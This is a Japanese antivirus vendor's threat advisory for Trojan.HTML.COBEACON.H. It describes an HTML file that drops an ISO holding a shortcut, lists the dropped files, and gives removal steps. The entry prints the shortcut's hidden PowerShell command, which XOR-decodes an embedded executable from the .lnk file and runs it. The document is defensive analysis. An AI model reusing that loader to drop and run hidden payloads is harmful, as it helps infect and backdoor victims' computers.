
Trojan.HTML.COBEACON.H
2022年11月16日
プラットフォーム:
Windows
危険度:
ダメージ度:
感染力:
感染確認数:
情報漏えい:

- マルウェアタイプ: トロイの木馬型
- 破壊活動の有無: なし
- 暗号化: はい
- 感染報告の有無: はい
概要
感染経路 他のマルウェアからの作成, インターネットからのダウンロード
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
詳細
ファイルサイズ 918,300 bytes
タイプ HTML, HTM
メモリ常駐 なし
発見日 2022年11月10日
ペイロード ファイルの作成
侵入方法
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
インストール
マルウェアは、以下のファイルを作成します。
- {Default browser save path}\Market Data_10625963569591048732.iso
その他
マルウェアは、以下を実行します。
- It has an embedded javascript that does the dropping of the malicious ISO file containing an lnk file.
- When executed, the lnk file does the following:
- It drops the following files:
- %User Temp%\{8 random characters}.{3 random characters}.ps1
- %User Temp%\{8 random characters}.{3 random characters}.psm1
- %AppDataLocal%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- %User Profile%\Documents\tmp{random numbers}.exe → detected as Backdoor.Win64.COBEACON.OSLJEH
- It adds the following processes:
- powershell -windowstyle hidden $lp=dir *.lnk;$f=gc $lp -enc Byte;for($i=0;$i-lt$f.count;$i++){$f[$i]=$f[$i]-bxor0xCF};$p='%User Profile%\Documents\tmp'+(Get-Random)+'.exe';sc $p ([byte[]]($f|select -skip 010024))-enc Byte;&$p;
- It displays the following upon execution:
対応方法
対応検索エンジン: 9.800
初回 VSAPI パターンバージョン 17.938.04
初回 VSAPI パターンリリース日 2022年11月15日
VSAPI OPR パターンバージョン 17.939.00
VSAPI OPR パターンリリース日 2022年11月16日
手順 1
Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。
手順 2
このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。
手順 3
以下のファイルを検索し削除します。
[ 詳細 ]
コンポーネントファイルが隠しファイル属性の場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。 - {Default browser save path}\Market Data_10625963569591048732.iso
- %User Temp%\{8 random characters}.{3 random characters}.ps1
- %User Temp%\{8 random characters}.{3 random characters}.psm1
- %AppDataLocal%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- %User Profile%\Documents\tmp{random numbers}.exe
手順 4
最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.HTML.COBEACON.H」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
ご利用はいかがでしたか? アンケートにご協力ください